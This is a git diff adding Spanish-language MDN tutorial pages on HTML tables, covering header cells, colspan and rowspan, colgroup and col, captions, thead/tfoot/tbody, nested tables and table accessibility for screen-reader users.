+<p>El problema aquí es que, si bien puedes distinguir lo que sucede, no es tan fácil cruzar datos de referencia. Sería mucho mejor si los encabezados de las columnas y las filas se destacasen de alguna manera.</p>
+
+<h3 id="Aprendizaje_activo_encabezados_de_tabla">Aprendizaje activo: encabezados de tabla</h3>
+
+<p>Intentemos mejorar esta tabla.</p>
+
+<ol>
+ <li>Primero, haz una copia local de nuestros archivos <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table.html">dogs-table.html</a> y <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> en un directorio nuevo de tu ordenador. El HTML contiene el mismo ejemplo sobre perros que viste arriba.</li>
+ <li>Para reconocer los encabezados de la tabla como encabezados, tanto visual como semánticamente, puedes usar el elemento <strong><code><a href="/en-US/docs/Web/HTML/Element/th">&lt;th&gt;</a></code></strong> ('th' significa 'table header', <em>encabezado de tabla</em>). Funciona exactamente igual que un <code>&lt;td&gt;</code>, excepto que denota un encabezado, no una celda normal. Entra en el código HTML, y cambiar todos los elementos <code>&lt;td&gt;</code> que delimitan los encabezados de tabla por elementos <code>&lt;th&gt;</code>.</li>
+ <li>Guarda tu HTML y cárgalo en un navegador. Los encabezados deberían verse como tal.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar nuestro ejemplo terminado en <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table-fixed.html">dogs-table-fixed.html</a> en GitHub (<a href="http://mdn.github.io/learning-area/html/tables/basic/dogs-table-fixed.html">o consultarlo en vivo</a>).</p>
+</div>
+
+<h3 id="¿Por_qué_son_útiles_los_encabezados">¿Por qué son útiles los encabezados?</h3>
+
+<p>Ya hemos respondido parcialmente a esta pregunta: es más fácil encontrar los datos que buscas cuando los encabezados se destacan con claridad, y el diseño suele presentar un aspecto mejor.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los encabezados de las tablas vienen con un estilo predeterminado: están en negrita y centrados (incluso si no añades tu estilo propio a la tabla) para que destaquen.</p>
+</div>
+
+<p>Los encabezados de tabla también presentan otra ventaja: junto con el atributo de <code>scope</code> (que veremos en el próximo artículo), mejoran la accesibilidad de las tablas porque asocian cada encabezado con todos los datos de la misma fila o columna. Así que los lectores de pantalla pueden leer una fila o columna de datos a la vez, lo cual es bastante útil.</p>
+
+<h2 id="Celdas_que_abarcan_varias_filas_y_columnas">Celdas que abarcan varias filas y columnas</h2>
+
+<p>A veces queremos que las celdas abarquen varias filas o columnas. Toma el ejemplo siguiente, que muestra los nombres de algunos animales comunes. En algunos casos, queremos mostrar los nombres de los machos y las hembras junto al nombre del animal. A veces no lo queremos, y en tales casos queremos que el nombre del animal abarque toda la tabla.</p>
+
+<p>El marcado inicial se ve así:</p>
+
+<pre class="brush: html notranslate">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Animales&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Hipopótamo&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Caballo&lt;/th&gt;
+    &lt;td&gt;Yegua&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Semental&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+
+&lt;th&gt;Cocodrilo&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+
+&lt;th&gt;Pollo&lt;/th&gt;
+
+&lt;td&gt;Gallina&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Gallo&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<p>Pero la salida no nos da exactamente lo que queremos:</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Animales</th>
+  </tr>
+  <tr>
+   <th>Hipopótamo</th>
+  </tr>
+  <tr>
+   <th>Caballo</th>
+   <td>Yegua</td>
+  </tr>
+  <tr>
+   <td>Semental</td>
+  </tr>
+  <tr>
+   <th>Cocodrilo</th>
+  </tr>
+  <tr>
+   <th>Pollo</th>
+   <td>Gallina</td>
+  </tr>
+  <tr>
+   <td>Gallo</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Necesitamos una forma de hacer que «Animales», «Hipopótamo» y «Cocodrilo» se extiendan dos columnas más allá, y «Caballo» y «Pollo» se extiendan dos filas más abajo. Por fortuna, los encabezados de tabla y las celdas tienen los atributos <code>colspan</code> y <code>rowspan</code>, que nos permiten hacer exactamente esas cosas. Ambos aceptan un valor numérico sin unidades, que es igual al número de filas o columnas que desea abarcar. Por ejemplo, <code>colspan="2"</code> extiende una celda dos columnas más allá.</p>
+
+<p>Usemos <code>colspan</code> y <code>rowspan</code> para mejorar esta tabla.</p>
+
+<ol>
+ <li>Primero, haz una copia local de nuestros archivos <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table.html">animals-table.html</a> y <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> en un directorio nuevo de tu ordenador. El HTML contiene el mismo ejemplo sobre perros que viste arriba.</li>
+ <li>Luego, usa <code>colspan</code> para extender las celdas «Animales», «Hipopótamo» y «Cocodrilo» dos columnas más allá.</li>
+ <li>Por último, usa <code>rowspan</code> para extender las celdas de «Caballo» y «Pollo» dos filas más abajo.</li>
+ <li>Guarda tu código y ábrelo en un navegador para ver la mejora.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar nuestro ejemplo terminado en <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table-fixed.html">animals-table-fixed.html</a> en GitHub (<a href="http://mdn.github.io/learning-area/html/tables/basic/animals-table-fixed.html">o consultarlo en vivo</a>).</p>
+</div>
+
+<table id="tabular" style="background-color: white;">
+</table>
+
+<h2 id="Proporcionar_un_estilo_común_a_las_columnas.">Proporcionar un estilo común a las columnas.</h2>
+
+<p>Hay una última característica de la que queremos hablar en este artículo antes de continuar. El HTML tiene un método para definir información de estilo para una columna completa de datos en un solo lugar: los elementos <strong><code><a href="/es/docs/Web/HTML/Elemento/col">&lt;col&gt;</a></code></strong> y <strong><code><a href="/es/docs/Web/HTML/Elemento/colgroup">&lt;colgroup&gt;</a></code></strong>. Estos atributos existen porque especificar el estilo de las columnas puede resultar enojoso e ineficiente; en general hay que especificar la información de estilo en <em>cada</em> <code>&lt;td&gt;</code> o <code>&lt;th&gt;</code> de la columna, o utilizar un selector complejo como {{cssxref(":nth-child()")}}.</p>
+
+<p>Tomemos el ejemplo sencillo siguiente:</p>
+
+<pre class="brush: html notranslate">&lt;table&gt;
+  &lt;tr&gt;
+
+&lt;th&gt;Dato 1&lt;/th&gt;
+    &lt;th style="background-color: yellow"&gt;Dato 2&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Calcuta&lt;/td&gt;
+    &lt;td style="background-color: yellow"&gt;Pizza&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Robots&lt;/td&gt;
+    &lt;td style="background-color: yellow"&gt;Jazz&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<p>Esto nos da el resultado siguiente:</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Dato 1</th>
+   <th style="background-color: yellow;">Dato 2</th>
+  </tr>
+  <tr>
+   <td>Calcuta</td>
+   <td style="background-color: yellow;">Naranja</td>
+  </tr>
+  <tr>
+   <td>Robots</td>
+   <td style="background-color: yellow;">Jazz</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Esto no es ideal, porque hay que repetir la información de estilo en las tres celdas de la columna (en un proyecto real probablemente habría definida una clase <code>class</code> en las tres celdas y el estilo se especificaría en una hoja de estilo por separado). En vez de hacer esto, podemos especificar la información una sola vez, con un elemento <code>&lt;col&gt;</code>. Los elementos <code>&lt;col&gt;</code> se especifican dentro de un contenedor <code>&lt;colgroup&gt;</code> justo debajo de la etiqueta de apertura <code>&lt;table&gt;</code>. Podríamos crear el mismo efecto que vemos arriba especificando nuestra tabla de la manera siguiente:</p>
+
+<pre class="brush: html notranslate">&lt;table&gt;
+  &lt;colgroup&gt;
+    &lt;col&gt;
+    &lt;col style="background-color: yellow"&gt;
+  &lt;/colgroup&gt;
+  &lt;tr&gt;
+
+&lt;th&gt;Dato 1&lt;/th&gt;
+
+&lt;th&gt;Dato 2&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Calcuta&lt;/td&gt;
+    &lt;td&gt;Pizza&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Robots&lt;/td&gt;
+    &lt;td&gt;Jazz&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<p>En efecto, definimos dos tipos de «columnas de estilo», una que especifica la información para la aplicación de estilo en cada columna. No aplicamos estilo a la primera columna, sino que aún tenemos que incluir un elemento <code>&lt;col&gt;</code> en blanco; de lo contrario, el estilo también se aplicaría a la primera columna.</p>
+
+<p>Si quisiéramos aplicar la información de estilo a ambas columnas, podríamos incluir un elemento <code>&lt;col&gt;</code> con un atributo <code>span</code>, como este:</p>
+
+<pre class="brush: html notranslate">&lt;colgroup&gt;
+  &lt;col style="background-color: yellow" span="2"&gt;
+&lt;/colgroup&gt;</pre>
+
+<p>Al igual que <code>colspan</code> y <code>rowspan</code>, <code>span</code> toma un valor numérico sin unidades que especifica el número de columnas a las que se desea aplicar el estilo.</p>
+
+<h3 id="Aprendizaje_activo_colgroup_y_col">Aprendizaje activo: colgroup y col</h3>
+
+<p>Ahora es el momento de intentarlo tú mismo.</p>
+
+<p>A continuación puedes ver el horario de una profesora de idiomas. El viernes tiene que enseñar holandés todo el día, pero también enseña alemán durante unas horas los martes y los jueves, y quiere resaltar las columnas que contienen los días que da clase.</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/tables/basic/timetable-fixed.html", '100%', 320)}}</p>
+
+<p>Recrea la tabla a partir de los pasos siguientes.</p>
+
+<ol>
+ <li>Primero, haz una copia local de nuestro archivo <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable.html">timetable.html</a> en un directorio nuevo de tu ordenador. El HTML contiene la misma tabla que viste arriba, menos la información de estilo de las columnas.</li>
+ <li>Añade un elemento <code>&lt;colgroup&gt;</code> en la parte superior de la tabla, justo debajo de la etiqueta <code>&lt;table&gt;</code>, en la que puedes añadir tus elementos <code>&lt;col&gt;</code> (consulta los pasos restantes a continuación).</li>
+ <li>Las dos primeras columnas deben dejarse sin estilo.</li>
+ <li>Añade un color de fondo a la tercera columna. El valor para tu atributo de <code>style</code> es <code>background-color:#97DB9A;</code></li>
+ <li>Establece un ancho distinto para la cuarta columna. El valor de tu atributo de <code>style</code> es <code>width: 42px;</code></li>
+ <li>Añade un color de fondo a la quinta columna. El valor para tu atributo de <code>style</code> es <code>background-color:#97DB9A;</code></li>
+ <li>Añade un color de fondo diferente más un borde a la sexta columna, para indicar que este es un día especial porque da clases de un idioma diferente. Los valores para tu atributo de <code>style</code> son <code>background-color:#DCC48E; border:4px solid #C1437A;</code></li>
+ <li>Los últimos dos días los tiene libres, así que no establezcas ningún color de fondo, pero sí un valor para el ancho; el valor para el atributo de <code>style</code> es <code>width: 42px;</code></li>
+</ol>
+
+<p>Mira cómo sigue en el ejemplo. Si te encallas o quieres verificar tu trabajo, puedes encontrar nuestra versión en GitHub como <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html">timetable-fixed.html</a> (o también puedes consultarlo <a href="http://mdn.github.io/learning-area/html/tables/basic/timetable-fixed.html">en vivo</a>).</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Con esto casi hemos abarcado todos los conceptos básicos de las tablas HTML. En el próximo artículo, veremos algunas características un poco más avanzadas de las tablas y comenzaremos a pensar acerca de su accesibilidad para las personas con discapacidad visual.</p>
+
+<div>{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</div>
+
+<div>
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Tables/Basics">Conceptos básicos de las tablas en HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Tables/Advanced">Funciones avanzadas de las tablas HTML y accesibilidad</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Tables/Structuring_planet_data">Estructuración de datos planetarios</a></li>
+</ul>
+</div>
diff --git a/files/es/learn/html/tablas/funciones_avanzadas_de_las_tablas_html_y_accesibilidad/index.html b/files/es/learn/html/tablas/funciones_avanzadas_de_las_tablas_html_y_accesibilidad/index.html
new file mode 100644
index 0000000000..a74817c5d4
--- /dev/null
+++ b/files/es/learn/html/tablas/funciones_avanzadas_de_las_tablas_html_y_accesibilidad/index.html
@@ -0,0 +1,471 @@
+---
+title: Funciones avanzadas de las tablas HTML y accesibilidad
+slug: Learn/HTML/Tablas/Funciones_avanzadas_de_las_tablas_HTML_y_accesibilidad
+translation_of: Learn/HTML/Tables/Advanced
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div>
+
+<p class="summary">En el segundo artículo de este módulo, analizamos algunas características más avanzadas de las tablas HTML, como los subtítulos/resúmenes, la agrupación de filas en las secciones del encabezado, el cuerpo y el pie de página; y también analizamos la accesibilidad de las tablas para usuarios con discapacidad visual.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conceptos básicos de HTML (ver <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender las características más avanzadas de las tablas HTML y la accesibilidad de las tablas.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Añadir_un_subtítulo_a_tu_tabla_con_&lt;caption>">Añadir un subtítulo a tu tabla con &lt;caption&gt;</h2>
+
+<p>Puedes dar un título a tu tabla colocándolo dentro de un elemento {{htmlelement ("caption")}} y anidándolo dentro del elemento {{htmlelement ("table")}}. Debes ponerlo justo debajo de la etiqueta de apertura <code>&lt;table&gt;</code>.</p>
+
+<pre class="brush: html notranslate">&lt;table&gt;
+  &lt;caption&gt;Dinosaurios en el período Jurásico&lt;/caption&gt;
+
+  ...
+&lt;/table&gt;</pre>
+
+<p>Como puedes deducir a partir del breve ejemplo anterior, el título debe contener una descripción del contenido de la tabla. Esto es útil para todos los lectores que deseen descubrir de un vistazo si la tabla les resulta útil mientras ojean la página, pero es útil especialmente para usuarios ciegos. En lugar de que un lector de pantalla lea el contenido de muchas celdas solo para averiguar de qué trata la tabla, el lector puede contar con el título para luego decidir si leer la tabla con mayor detalle.</p>
+
+<p>Los subtítulos se colocan directamente debajo de la etiqueta <code>&lt;table&gt;</code>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: El atributo {{htmlattrxref("summary","table")}} también se puede usar en el elemento <code>table</code> para proporcionar una descripción; los lectores de pantalla también lo leen. Sin embargo, recomendamos usar el elemento <code>caption</code>, porque {{htmlattrxref("summary","table")}} está {{glossary("obsoleto")}} conforme a la especificación HTML5 y porque los usuarios sin discapacidad visual no pueden leerlo (no aparece en la página).</p>
+</div>
+
+<h3 id="Aprendizaje_activo_Añadir_un_subtítulo">Aprendizaje activo: Añadir un subtítulo</h3>
+
+<p>Vamos a probarlo con un ejemplo del artículo anterior.</p>
+
+<ol>
+ <li>Abre el ejemplo del horario de clases de la profesora de idiomas del final de <a href="/es/docs/Learn/HTML/Tablas/Conceptos_b%C3%A1sicos_de_las_tablas_HTML#Aprendizaje_activo_colgroup_y_col"> conocimientos básicos de las tablas HTML</a>, o haz una copia local de nuestro archivo <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html">timetable-fixed.html</a>.</li>
+ <li>Añade un título adecuado a la tabla.</li>
+ <li>Guarda tu código, ábrelo en un navegador y observa qué aspecto presenta.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar nuestra versión en GitHub: consulta <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/timetable-caption.html">timetable-caption.html</a> (<a href="http://mdn.github.io/learning-area/html/tables/advanced/timetable-caption.html">mirar en vivo</a>).</p>
+</div>
+
+<h2 id="Añadir_estructura_con_&lt;thead>_&lt;tfoot>_y_&lt;tbody>">Añadir estructura con &lt;thead&gt;, &lt;tfoot&gt; y &lt;tbody&gt;</h2>
+
+<p>A medida que la estructura de las tablas se vuelve más compleja, es útil darles una estructura más definida. Una forma clara de hacerlo es con {{htmlelement ("thead")}}, {{htmlelement ("tfoot")}} y {{htmlelement ("tbody")}}, que te permiten marcar un encabezado, un pie de página y una sección del cuerpo de la tabla.</p>
+
+<p>Estos elementos no mejoran las características de accesibilidad de la tabla para los usuarios de lectores de pantalla ni su aspecto visual en sí. Sin embargo, son muy útiles para la aplicación de estilo y la compaginación, porque actúan como soportes útiles para añadir CSS a tu tabla. Como ejemplos interesantes, en el caso de una tabla extensa, puedes hacer que el encabezado y el pie de página se repitan en cada página impresa, y también que el cuerpo de la tabla se muestre en una sola página y desplazarte por los contenidos arriba y abajo con la barra de desplazamiento.</p>
+
+<p>Para utilizarlos:</p>
+
+<ul>
+ <li>El elemento <code>&lt;thead&gt;</code> debe delimitar el encabezado de la tabla; esta suele ser la primera fila, que contiene los encabezados de las columnas, pero no siempre es así. Si utilizas los elementos {{htmlelement ("col")}}/{{htmlelement ("colgroup")}}, el encabezado de la tabla debe estar justo debajo.</li>
+ <li>El elemento <code>&lt;tfoot&gt;</code> delimita la parte de la tabla correspondiente al pie de página; esta podría ser una fila final con elementos en las filas anteriores. Puedes incluir el pie de página de la tabla justo en la parte inferior de la tabla, donde esperarías que esté, o justo debajo del encabezado (y el navegador lo mostrará aun así en la parte inferior de la tabla).</li>
+ <li>El elemento <code>&lt;tbody&gt;</code> delimita las otras partes del contenido de la tabla que no están en el encabezado o en el pie de página de la tabla. Aparecerá debajo del encabezado de la tabla o, a veces, en el pie de página, según cómo hayas decidido estructurarlo.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: <code>&lt;tbody&gt;</code> se incluye siempre en todas las tablas de forma implícita si no lo especificas en tu código. Para comprobarlo, abre uno de tus ejemplos anteriores que no incluya <code>&lt;tbody&gt;</code> y mira el código HTML en las <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">herramientas de desarrollo de tu navegador</a>; verás que el navegador ha añadido esta etiqueta. Quizás te preguntes por qué deberías molestarte en incluirlo. Debes hacerlo para tener más control sobre la estructura y el estilo de la tabla.</p>
+</div>
+
+<h3 id="Aprendizaje_activo_Añadir_estructura_a_la_tabla">Aprendizaje activo: Añadir estructura a la tabla</h3>
+
+<p>Pongamos en acción estos elementos nuevos.</p>
+
+<ol>
+ <li>En primer lugar, haz una copia local de <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record.html">spending-record.html</a> y <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/minimal-table.css">minimal-table.css</a> en una carpeta nueva de tu ordenador.</li>
+ <li>Intenta abrirlo en un navegador: observarás que se ve bien, pero podría mejorarse. La fila «SUM», que contiene una suma de las cantidades gastadas, parece estar en el lugar equivocado, y faltan algunos detalles del código.</li>
+ <li>Coloca la fila de encabezados dentro de un elemento <code>&lt;thead&gt;</code>, la fila «SUM» dentro de un elemento <code>&lt;tfoot&gt;</code>, y el resto del contenido dentro de un elemento <code>&lt;tbody&gt;</code>.</li>
+ <li>Guarda y actualiza, y observa que añadir el elemento <code>&lt;tfoot&gt;</code> ha provocado que la fila «SUM» pase al final de la tabla.</li>
+ <li>Luego, añade un atributo {{htmlattrxref ("colspan", "td")}} para que la celda «SUM» abarque las primeras cuatro columnas, de modo que el número aparezca en la parte inferior de la columna «Costes».</li>
+ <li>Vamos a añadir un estilo adicional sencillo a la tabla para que veas cuán útiles son estos elementos para aplicar CSS. Dentro del encabezado del documento HTML hay un elemento {{htmlelement ("style")}} vacío. Añade a este elemento las líneas de código CSS siguientes:
+  <pre class="brush: css notranslate">tbody {
+  font-size: 95%;
+  font-style: italic;
+}
+
+tfoot {
+  font-weight: bold;
+}
+</pre>
+ </li>
+ <li>Guarda, actualiza, y échale un vistazo al resultado. Si los elementos <code>&lt;tbody&gt;</code> y <code>&lt;tfoot&gt;</code> no estuvieran en su lugar, tendrías que escribir selectores/reglas mucho más complicados para obtener la misma aplicación de estilo.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: No esperamos que comprendas completamente el CSS en este momento. Aprenderás más sobre el tema cuando llegues a nuestros módulos CSS (<a href="/es/docs/Learn/CSS/First_steps">Introducción al CSS</a> es un buen lugar para comenzar; también tenemos un artículo específico sobre <a href="/es/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a>).</p>
+</div>
+
+<p>Tu tabla final debería tener un aspecto similar al siguiente:</p>
+
+<div class="hidden">
+<h6 id="Hidden_example">Hidden example</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt; Mi historial de gastos &lt;/title&gt;
+    &lt;style&gt;
+
+        html {
+          font-family: sans-serif;
+        }
+
+          table {
+          border-collapse: collapse;
+          border: 4px solid rgb(200,200,200);
+          letter-spacing: 1px;
+          font-size: 0.8rem;
+        }
+
+        td, th {
+          border: 2px solid rgb(190,190,190);
+          padding: 10px 20px;
+        }
+
+        th {
+          background-color: rgb(235,235,235);
+        }
+
+        td {
+          text-align: center;
+        }
+
+        tr:nth-child(even) td {
+          background-color: rgb(250,250,250);
+        }
+
+        tr:nth-child(odd) td {
+          background-color: rgb(245,245,245);
+        }
+
+        caption {
+          padding: 10px;
+        }
+
+        tbody {
+          font-size: 90%;
+          font-style: italic;
+        }
+
+        tfoot {
+          font-weight: bold;
+        }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+      &lt;table&gt;
+
+&lt;caption&gt; Cómo elegí gastar mi dinero &lt;/caption&gt;
+        &lt;thead&gt;
+          &lt;tr&gt;
+            &lt;th&gt; Compra &lt;/th&gt;
+
+&lt;th&gt; Ubicación &lt;/th&gt;
+            &lt;th&gt; Fecha &lt;/th&gt;
+            &lt;th&gt; Revisión &lt;/th&gt;
+
+&lt;th&gt; Coste (€) &lt;/th&gt;
+          &lt;/tr&gt;
+        &lt;/thead&gt;
+        &lt;tfoot&gt;
+          &lt;tr&gt;
+            &lt;td colspan="4"&gt;SUM&lt;/td&gt;
+            &lt;td&gt;118&lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tfoot&gt;
+        &lt;tbody&gt;
+          &lt;tr&gt;
+            &lt;td&gt; Corte de pelo &lt;/td&gt;
+
+&lt;td&gt; Peluquería &lt;/td&gt;
+            &lt;td&gt;12/09&lt;/td&gt;
+
+&lt;td&gt; Gran idea &lt;/td&gt;
+            &lt;td&gt;30&lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+
+&lt;td&gt; Lasaña &lt;/td&gt;
+
+&lt;td&gt; Restaurante &lt;/td&gt;
+            &lt;td&gt;12/09&lt;/td&gt;
+            &lt;td&gt; Arrepentimiento &lt;/td&gt;
+            &lt;td&gt;18&lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+
+&lt;td&gt; Zapatos &lt;/td&gt;
+            &lt;td&gt; Zapatería &lt;/td&gt;
+            &lt;td&gt;13/09&lt;/td&gt;
+
+&lt;td&gt; Mucho arrepentimiento &lt;/td&gt;
+            &lt;td&gt;65&lt;/td&gt;
+          &lt;/tr&gt;
+          &lt;tr&gt;
+            &lt;td&gt; Pasta de dientes &lt;/td&gt;
+            &lt;td&gt; Supermercado &lt;/td&gt;
+            &lt;td&gt;13/09&lt;/td&gt;
+
+&lt;td&gt; Bien &lt;/td&gt;
+            &lt;td&gt;5&lt;/td&gt;
+          &lt;/tr&gt;
+        &lt;/tbody&gt;
+    &lt;/table&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_example', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: También puedes encontrarlo en GitHub como <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record-finished.html">spending-record-finished.html</a> (o consultarlo también <a href="http://mdn.github.io/learning-area/html/tables/advanced/spending-record-finished.html">en vivo</a>).</p>
+</div>
+
+<h2 id="Anidar_tablas">Anidar tablas</h2>
+
+<p>Es posible anidar una tabla dentro de otra, siempre que incluyas la estructura completa, incluido el elemento <code>&lt;table&gt;</code>. Por lo general, esto no se recomienda, porque se obtiene un marcado más confuso y menos accesible para los usuarios que usan lectores de pantalla, y además, en muchos casos sería posible sencillamente insertar celdas/filas/columnas adicionales en la tabla. Sin embargo, a veces es necesario, por ejemplo, si deseas importar contenido de forma sencilla desde otras fuentes.</p>
+
+<p>El marcado siguiente muestra una tabla anidada simple:</p>
+
+<pre class="brush: html notranslate">&lt;table id="tabla1"&gt;
+  &lt;tr&gt;
+    &lt;th&gt;título1&lt;/th&gt;
+    &lt;th&gt;título2&lt;/th&gt;
+    &lt;th&gt;título3&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td id="nested"&gt;
+      &lt;table id="tabla2"&gt;
+        &lt;tr&gt;
+          &lt;td&gt;celda1&lt;/td&gt;
+          &lt;td&gt;celda2&lt;/td&gt;
+          &lt;td&gt;celda3&lt;/td&gt;
+        &lt;/tr&gt;
+      &lt;/table&gt;
+    &lt;/td&gt;
+    &lt;td&gt;celda2&lt;/td&gt;
+    &lt;td&gt;celda3&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;celda4&lt;/td&gt;
+    &lt;td&gt;celda5&lt;/td&gt;
+    &lt;td&gt;celda6&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<p>La salida se verá así:</p>
+
+<table id="table1">
+ <tbody>
+  <tr>
+   <th>título1</th>
+   <th>título2</th>
+   <th>título3</th>
+  </tr>
+  <tr>
+   <td id="nested">
+    <table id="table2">
+     <tbody>
+      <tr>
+       <td>celda1</td>
+       <td>celda2</td>
+       <td>celda3</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>celda2</td>
+   <td>celda3</td>
+  </tr>
+  <tr>
+   <td>celda4</td>
+   <td>celda5</td>
+   <td>celda6</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Tablas_para_usuarios_con_discapacidad_visual">Tablas para usuarios con discapacidad visual</h2>
+
+<p>Repasemos brevemente cómo usamos las tablas de datos. Una tabla puede ser una herramienta útil porque nos proporciona un acceso rápido a unos datos y nos permite buscar entre valores diferentes. Por ejemplo, echa un vistazo a la tabla siguiente para saber cuántos anillos se vendieron en Gante en agosto pasado. Para comprender la información que contiene la tabla, establecemos asociaciones visuales entre los datos de la tabla y sus encabezados de columna y/o fila.</p>
+
+<table>
+ <caption>Artículos vendidos en agosto de 2016</caption>
+ <tbody>
+  <tr>
+   <td></td>
+   <td></td>
+   <th colspan="3" scope="colgroup">Ropa</th>
+   <th colspan="2" scope="colgroup">Accesorios</th>
+  </tr>
+  <tr>
+   <td></td>
+   <td></td>
+   <th scope="col">Pantalones</th>
+   <th scope="col">Faldas</th>
+   <th scope="col">Vestidos</th>
+   <th scope="col">Pulseras</th>
+   <th scope="col">Anillos</th>
+  </tr>
+  <tr>
+   <th rowspan="3" scope="rowgroup">Bélgica</th>
+   <th scope="row">Amberes</th>
+   <td>56</td>
+   <td>22</td>
+   <td>43</td>
+   <td>72</td>
+   <td>23</td>
+  </tr>
+  <tr>
+   <th scope="row">Gante</th>
+   <td>46</td>
+   <td>18</td>
+   <td>50</td>
+   <td>61</td>
+   <td>15</td>
+  </tr>
+  <tr>
+   <th scope="row">Bruselas</th>
+   <td>51</td>
+   <td>27</td>
+   <td>38</td>
+   <td>69</td>
+   <td>28</td>
+  </tr>
+  <tr>
+   <th rowspan="2" scope="rowgroup">Los países bajos</th>
+   <th scope="row">Ámsterdam</th>
+   <td>89</td>
+   <td>34</td>
+   <td>69</td>
+   <td>85</td>
+   <td>38</td>
+  </tr>
+  <tr>
+   <th scope="row">Utrecht</th>
+   <td>80</td>
+   <td>12</td>
+   <td>43</td>
+   <td>36</td>
+   <td>19</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Pero, ¿y si no puedes hacer esas asociaciones visuales? ¿Cómo podrías leer una tabla como la anterior? Las personas con discapacidad visual a menudo usan un lector de pantalla que les lee la información de las páginas web. Esto no resulta un problema cuando lees un texto sin formato, pero interpretar una tabla puede ser un gran desafío para una persona ciega. Sin embargo, con el marcado adecuado podemos reemplazar las asociaciones visuales por otras asociaciones de tipo programático.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Hay en torno a 253 millones de personas con discapacidad visual según los<a href="https://www.who.int/es/news-room/fact-sheets/detail/blindness-and-visual-impairment" title="datos de la OMS sobre la discapacidad visual"> datos de la OMS de 2017</a>.</p>
+</div>
+
+<p>Esta sección del artículo proporciona técnicas adicionales para conferir a las tablas la mayor accesibilidad posible.</p>
+
